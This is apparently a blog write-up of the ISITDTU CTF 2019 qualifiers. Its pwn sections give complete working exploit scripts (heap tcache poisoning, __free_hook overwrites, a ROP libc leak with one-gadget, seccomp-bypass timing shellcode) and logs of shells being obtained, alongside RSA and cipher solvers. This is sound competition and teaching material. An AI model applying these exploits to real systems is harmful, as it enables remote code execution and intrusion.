CTFするぞ

CTF以外のことも書くよ

ISITDTU CTF 2019 Quals Writeup

ISITDTU CTF 2019 took place from June 29th for 25 hours. I played this CTF in zer0pts and we reached the 10th place.

f:id:ptr-yudai:20190630210457p:plain

f:id:ptr-yudai:20190630210513p:plain

Thank you for holding the CTF. I enjoyed it :-)

My writeups and tasks are here.

[Pwn 395] iz_heap_lv1

Server: nc 165.22.110.249 3333
Files: iz_heap_lv1, libc.so.6

It's a heap challenge. At first glance it has no UAF or heap overflow. However, the binary has some errors on checking the index and the size. As the name is next to the list and it can be modified, we can put some fake pointers in the name and make the program use them. I put a fake pointer and a fake chunk in the name. Since we can change the name after freeing the fake pointer, we can modify the link in tcache. I first made a fake big chunk and a fake next chunk in this way and leaked the libc address. After that I just overwrote __free_hook pointer.

from ptrlib import *

def add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def edit(index, size, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def show_name(name=None):
    sock.sendlineafter("Choice: \n", "4")
    if name is None:
        sock.sendlineafter("(Y/N)", "N")
    else:
        sock.sendlineafter("(Y/N)", "Y")
        sock.sendafter("name: ", name)
    sock.recvuntil("Name: ")
    return sock.recvline()

libc = ELF("./libc.so.6")
#sock = Process("./iz_heap_lv1")
sock = Socket("165.22.110.249", 3333)
addr_list = 0x602060
addr_name = 0x602100
libc_main_arena = 0x3ebc40
delta = 0x60

# create fake chunk
fake_list  = p64(addr_name + 0x20) + p64(0) # 20, 21
fake_chunk = p64(0) + p64(0x31)
sock.sendlineafter("name: ", fake_list + fake_chunk)

# free fake chunk
add(0x20, "AAA") # 0
delete(0)
delete(20)
addr_heap = u64(show_name("A" * 0x20)[0x20:]) + 0x30
logger.info("addr heap = " + hex(addr_heap))

# double free for creating fake chunk
add(0x30, "AAA") # 0: addr_heap
add(0x40, "AAA") # 1: addr_heap + 0x40
add(0x50, "AAA") # 2: addr_heap + 0x90
add(0x60, "/bin/sh\x00") # 3
show_name(p64(addr_heap))
delete(0)
delete(20)
add(0x30, p64(addr_name + 0x20 + 0xa00)) # 0
add(0x30, p64(addr_heap)) # 4: dummy
add(0x30, p64(0) + p64(0x21)) # 5
fake_list  = p64(addr_heap + 0x40) + p64(addr_name + 0x20) # 20, 21
fake_chunk = p64(0) + p64(0xa11)
show_name(fake_list + fake_chunk)
delete(1)
delete(20)
add(0x40, p64(addr_name + 0x20 + 0xa00 + 0x20)) # 1
add(0x40, p64(addr_heap)) # 6: dummy
add(0x40, p64(0) + p64(0x21)) # 7

# libc leak
delete(21)
libc_base = u64(show_name("A" * 0x20)[0x20:]) - libc_main_arena - delta
logger.info("libc base = " + hex(libc_base))

# double free for overwriting __free_hook
show_name(p64(addr_heap + 0x90))
delete(2)
delete(20)
add(0x50, p64(libc_base + libc.symbol("__free_hook"))) # 2
add(0x50, "dummy") # 8
add(0x50, p64(libc_base + libc.symbol("system"))) # 9

# get the shell!
delete(3)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to 165.22.110.249:3333
[+] <module>: addr heap = 0x1732290
[+] <module>: libc base = 0x7f010da8f000
[ptrlib]$ cat /home/iz_heap_lv1/flag
ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}

[Pwn 908] Tokenizer

Server: nc 165.22.57.24 32000
Files: tokenizer, libc-2.27.so

It's a c++ binary which splits an input by some delimiters. The first vulnerability lies in the stack layout and the strncpy function. It copies 0x400 bytes to the local variable and prints the variable. And the saved rbp is right next to the variable, which means we can leak the saved rbp. Also, by passing the least byte of the saved rbp as a delimiter, it will be changed into null by strsep (because the saved rbp is recognized as a part of the string). So, by changing the saved rbp, we may control the RIP after leave; ret; in main. Make sure to replace every \x00 in your payload to another byte since std::cin won't accept null bytes. We can change them back into null by putting the byte in the delimiters. In the first stage I leaked the libc address using std::cout and then returned to main for the 2nd stage. In the second stage I called the one gadget RCE. I made the last part of the first payload to be "\x00\x00..." in order to meet the constraints of the one gadget RCE.

from ptrlib import *

libc = ELF("./libc-2.27.so")
elf = ELF("./tokenizer")
libc_one_gadget = 0x10a38c
addr_main = 0x40133c
addr_st_cout = 0x404020
addr_cout = 0x401080
rop_pop_rsi_r15 = 0x00401499
rop_pop_rdi = 0x0040149b

# Stage 1: leak libc address
base_payload = b''
base_payload += p64(rop_pop_rsi_r15)
base_payload += p64(elf.got("alarm"))
base_payload += p64(0xdeadbeef)
base_payload += p64(rop_pop_rdi)
base_payload += p64(addr_st_cout)
base_payload += p64(addr_cout)
base_payload += p64(addr_main)
payload = base_payload * ((0x400 - 8) // len(base_payload))
payload = payload[16:0x400 - 0x80]
payload += b'\xaa' * (0x400 - len(payload)) # padding
payload = payload.replace(b'\x00', b'\xaa')

while True:
    #sock = Process("./tokenizer")
    sock = Socket("165.22.57.24", 32000)
    sock.recvuntil("characters): ")
    sock.sendline(payload)
    sock.recvuntil(": ")
    addr_stack = sock.recvline()[0x400:]
    logger.info("addr stack = " + hex(u64(addr_stack)))
    if addr_stack == b'' or addr_stack[0] == 0x10:
        logger.warn("Bad luck!")
        sock.close()
        continue
    target = bytes([addr_stack[0]]) + b'\xaa'
    #if target in payload or (0x400 - addr_stack[0]) % len(base_payload) != 0:
    if target in payload or addr_stack[0] != 0xf0:
        logger.warn("Bad luck!")
        sock.close()
        continue
    break

sock.recvuntil(": ")
sock.sendline(target)

# libc leak
sock.recvuntil(addr_stack[-2:] + b"\n")
recv = sock.recvuntil("Welcome")
libc_base = u64(recv.rstrip(b"Welcome")) - libc.symbol("alarm")
logger.info("libc base = " + hex(libc_base))

# Stage 2: One gadget
payload = p64(libc_base + libc_one_gadget) * (0x400 // 8)
payload = payload.replace(b'\x00', b'\xaa')
sock.recvuntil("characters): ")
sock.sendline(payload)
sock.recvuntil(": ")
target = b'\x38\xaa'
sock.recvuntil(": ")
sock.sendline(target)

sock.interactive()

Yay!!

$ python solve.py 
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] <module>: addr stack = 0x7ffc413b36e0
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7fff983f98c0
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7fffe370e1d0
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7fff8a821890
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7ffce87c2240
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7fff96e66e80
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7ffd95bf9860
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7ffc52405910
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7ffe58d49710
[+] <module>: Bad luck!
[+] close: Connection to 165.22.57.24:32000 closed
[+] __init__: Successfully connected to 165.22.57.24:32000
[+] close: Connection to 165.22.57.24:32000 closed
[+] <module>: addr stack = 0x7fff23b686f0
[+] <module>: libc base = 0x7fbea1ccc000
[ptrlib]$ ls
chall
flag
redir.sh
[ptrlib]$ cat flag
ISITDTU{H3LL0_H4PPY_W0RLD}

[Pwn 738] babyshellcode

Server: nc 209.97.162.170 2222 
Files: babyshellcode

It's a shellcode challenge but the seccomp is enabled. Every syscall except for alarm is banned. WTF. The binary first reads the flag into the heap and generates an 8-byte key from /dev/urandom. Then it xors the flag with the key. We can calculate the key since the flag starts with ISITDTU{. Also we can find the rest part of the flag by Time-base attack. Although the server won't response until 3 seconds pass, we can force the binary to print an error by using the alarm syscall. In this way I leaked the flag byte by byte.

from pwn import *
import string

table = string.printable[:-5]
flag = "ISITDTU{"
#flag = "ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d}"
while True:
    x = len(flag)
    for c in table:
        #sock = remote("localhost", 2222)
        sock = remote("209.97.162.170", 2222)
        shellcode = asm("""
        // rdi = XOR KEY
        mov rsi, 0xcafe000
        mov rdi, [rsi]
        mov rbx, 0x7b55544454495349
        xor rdi, rbx

        // shift key
        xor rbx, rbx
        mov al, {x}
        mov bl, 8
        div rbx
        imul rdx, rbx
        mov rcx, rdx
        shr rdi, cl
        mov al, [rsi + {x}]
        xor rax, rdi
        cmp al, {c}
        jz loop
        xor rdi, rdi
        inc edi
        mov rax, 0x25
        syscall
        loop:
        jmp loop
        """.format(x=x, c=ord(c)), arch="amd64")
        assert len(shellcode) < 0x46

        sock.sendline(shellcode)
        try:
            if "timeout" in sock.recv():
                flag += c
                break
        except KeyboardInterrupt:
            exit()
        except:
            flag += c
            break
        sock.close()
    else:
        print("Something went wrong!")
        exit()
    print(flag)

[Cryptography 239] Old story

Description: This is an old story about wheat and chessboard, and it's easy, right?
File: cipher.txt

As the description says it's about the wheat and chessboard problem. We can easily find the index but how can we find the flag? I noticed the chessboard has 64 squares, which indicates the base64 encoding.

import math
import string
import base64

with open("cipher.txt") as f:
    buf = f.read()

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
nlist = map(int, buf[1:-1].split(","))
flag = ""
for n in nlist:
    x = int(math.log2(n))
    flag += table[x - 1]
print(base64.b64decode(flag))

Hmm, guessing.

$ python solve.py 
b'ISITDTU{r1c3_che55b0ard_4nd_bs64}'

[Pwn 676] iz_heap_lv2

Server: nc 165.22.110.249 4444
Files: iz_heap_lv2, libc.so.6

It's an another heap challenge. Similar to the previous one, it has multiple errors on size checking but the index checking is fixed. However, the binary has an off-by-null vulnerability in the read function. Libc leak is easy because the size check is not fixed. I made some large chunk in order to cause an overlap. Be noticed that the libc version is 2.27 and tcache is enabled.

from ptrlib import *

def add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def edit(index, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter("data: ", data)

def delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def show(index):
    sock.sendlineafter("Choice: \n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.recvuntil("Data: ")
    return sock.recvline()

libc = ELF("./libc.so.6")
libc_main_arena = 0x3ebc40
libc_one_gadget = 0x4f322#0x10a38c
delta = 0x60
#sock = Process("./iz_heap_lv2")
sock = Socket("165.22.110.249", 4444)

# libc leak
add(0x4f7, "B") # 0
add(0x4f7, "A") # 1
delete(0)
delete(1)
add(0x4f7, "A" * 8) # 0
libc_base = u64(show(0)[8:]) - libc_main_arena - delta
logger.info("libc base = " + hex(libc_base))

# chunk overlap
add(0x410, "1111") # 1
add(0x28, "2222")  # 2
add(0x4f0, "3333") # 3
add(0x20, "44444") # 4
delete(1)
edit(2, b"2" * 0x20 + p64(0x450))
delete(3)
delete(2)

# tcache poisoning
payload = b'A' * 0x418 + p64(0x31) + p64(libc_base + libc.symbol("__free_hook"))
add(0x800, payload) # 1
add(0x27, "dummy") # 2
add(0x27, p64(libc_base + libc_one_gadget)) # 3

# get the shell!
delete(2)

sock.interactive()

Perfect!

$ python solve.py 
[+] __init__: Successfully connected to 165.22.110.249:4444
[+] <module>: libc base = 0x7f5d489c5000
[ptrlib]$ cat /home/iz_heap_lv2/flag
ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}

[Cryptography 100] Easy RSA 1

Description: Let's warm up with RSA
File: task

Apply the Boneh Durfee attack.

[Cryptography 919] Easy RSA 2

Description: Let's continue with RSA
File: task.py

It's a multi-prime RSA with N = p (p + \delta_{1}) q (q + \delta_{2}). Since  p(q + \delta_{2}) \simeq q(p + \delta_{1}) and  pq \simeq (p + \delta_{1})(q + \delta_{2}), we can apply the Fermat attack to factorize N. After finding the two pairs, we just have to take the gcd to find p, q, p+\delta_{1} and q+\delta_{2}.

fermat.py:

import sys

def isqrt(n):
    x = n
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n//x) // 2
    return x

def is_square(n):
    if not n % 48 in (0, 1, 4, 9, 16, 25, 33, 36):
        return False

    x = isqrt(n)
    return x*x == n

def fermat(n):
    a = isqrt(n)
    while True:
        b2 = a*a - n
        while not is_square(b2):
            a += 1
            b2 = a*a - n
        n11 = a - isqrt(b2)
        n12 = n // n11
        if n11 * n12 == n:
            print(n11)
            print(n12)
        a += 1

if __name__ == '__main__':
    n = 8573641536164485111081609341110540574423426701587222458588002464807917555910942077276167528046769327390058096169685188870928286845342631974847171845103806710768418462668311621275704636581042137915505959767806384415314024549489538717607173007829067492516776714817262226691787436227002924225311861164296655909746846329870548266285498682510415418053656271623482202491805513797215793596385014264449282551352796096361524482384994633912515104414237252657058698433260597636367614328512751722615849959987780969423318207123668118325176544879335267439096589035064596631756303300860315257404427016819145298919974287174103934503
    fermat(n)

solve.py:

import itertools
import math
import gmpy2

c = 8436043641135865531308468859210199431445831063674810351906331674115825605849862045115409554309732867926457428348729196827592921108183774070414343257409618631078896543782150761081732376735501920417229787663210936174854000594130785353102718054331606096192133481536724402629697019651921188121029927710787682993814748802295545306899075962041017278877203965796981792702098381465051289581518257202127401748725944229037078896857591660248467597356051123218945757343652461844056927461929195427880969904210166880623689090977714615839624798930450630919330253477634839161931755642681718034910946900928731231093352169252474939674
a1 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135375408481531310003733935540422655297910944762679239039783193372674051452613244254750117673971732027355424665752849172881712190463569600293779394868475158854447
a2 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135377198629507140256023102013131493810077402487620597574150419252484604398426042348936643985371724093575122287222535733709825807203222224632574777263054682547849
b1 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135371868180973368561805750413511255786784693350508599993560583740157301325382357815783643311448396307382917648462953229481373105936696186417725004199901537674201
b2 = 92593960581478990492272892082797582837598460722110672289472622026362327649808629839901870926342611079306340852878894165246912369940368199994436453135380738930065081697951287140042893321203653899791236620373028885001354525656928787903118347895059813547629304512431677110164891730095638508629167931628303931903
assert a1 * a2 == b1 * b2

e = 65537
p1 = math.gcd(a1, b1)
q1 = math.gcd(a2, b1)
p2 = math.gcd(a1, b2)
q2 = math.gcd(a2, b2)
print("p1 = {}".format(p1))
print("p2 = {}".format(p2))
print("q1 = {}".format(q1))
print("q2 = {}".format(q2))

n = p1 * p2 * q1 * q2
phi = (p1 - 1) * (p2 - 1) * (q1 - 1) * (q2 - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)

print(bytes.fromhex(hex(m)[2:]))
$ python solve.py 
p1 = 9171763103475238155920017905180080637957026348805819229558633463083231168099582814700421044911191638619215776932495855800737116252367554545053545527516011
p2 = 10095546465476693593468938674693225933161244530298448086809682438074001976675252183713397582060201121599694620421409523584661489632648134185176255971865677
q1 = 10095546465476693593468938674693225933161244530298448086809682438074001976675252183713397582060201121599694620421409523584661489632648134185176255971865291
q2 = 9171763103475238155920017905180080637957026348805819229558633463083231168099582814700421044911191638619215776932495855800737116252367554545053545527516539
b'ISITDTU{C0ngratu1ati0ns_Attack_RSA_Multi_prim3!!!!}'

[Reverse 100] Recovery

Description: Could you help me recovery my number?
File: recovery
Note: The flag is not in flag format, please wrap it in format when you submit. ISITDTU{x, y, z, ...}
Update: "Pre-order"
File: recovery.jar

As I decompiled the binary and read the source code, I found it takes a sequence of numbers and makes it inorder and postorder, then compares them to the correct ones. I just calculated the preorder input from the inorder and postorder ones.

[Cryptography 395] decrypt to me

Description: decrypt to me?????
File: task.py

Just write the decoder which takes the reversed process of the encoder.

import binascii

def generate_prg_bit(n):
    state = n
    while True:
        last_bit = state & 1
        yield last_bit
        middle_bit = state >> len(bin(n)[2:])//2 & 1
        state = (state >> 1) | ((last_bit ^ middle_bit) << (len(bin(n)[2:])-1))

cipher = "OKQI+f9R+tHEJJGcfko7Ahy2AuL9c8hgtYT2k9Ig0QyXUvsj1B9VIGUZVPAP2EVD8VmJBZbF9e17".decode("base64")
n = int(binascii.hexlify(cipher), 16)
cipher_bits = [int(i) for i in bin(n)[2:]]
approx_len = len(bin(n)[2:])
for l in range(approx_len, approx_len + 8):
    prg = generate_prg_bit(l)
    mtext = []
    bits = [0 for i in range(l - approx_len)] + cipher_bits
    for i in range(l):
        mtext.append(bits[i] ^ next(prg))
    flag = int(''.join(map(str, mtext)), 2)
    try:
        print(hex(flag)[2:].rstrip("L").decode("hex"))
    except:
        pass

[Reverse 971] "3006"

Description: Install it!!! 
File: warmup-1.0-cp37-cp37m-linux_x86_64.whl, warmup.so

I installed the wheel and checked the methods.

$ python
Python 3.7.3 (default, May  8 2019, 14:01:53) 
[GCC 7.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import warmup
>>> help(warmup)
Help on module warmup:

NAME
    warmup

FUNCTIONS
    print_something(...)

DATA
    __test__ = {}

FILE
    /home/ptr/isitdtu/warmup/warmup/warmup.so

I passed 3006 as the challenge title said and found the flag.

>>> warmup.print_something(b"3006")
ISITDTU{Cy7h0n_1s_So_Funnnn^_^}

wOA!?

Overall comment

I tried some challenges of pwn, crypto, rev and misc.

Good point

  • Pwn challs are good.
  • Crypto challs are okay.
  • The admin were online throughout the CTF and provided quick support.

Bad point

  • Some of rev challs are bad.
  • Misc is the worst. Too many guessing challenges.
  • The scoreboard was not stable and heavy. (as is the way with the most of ctfs using CTFd :P)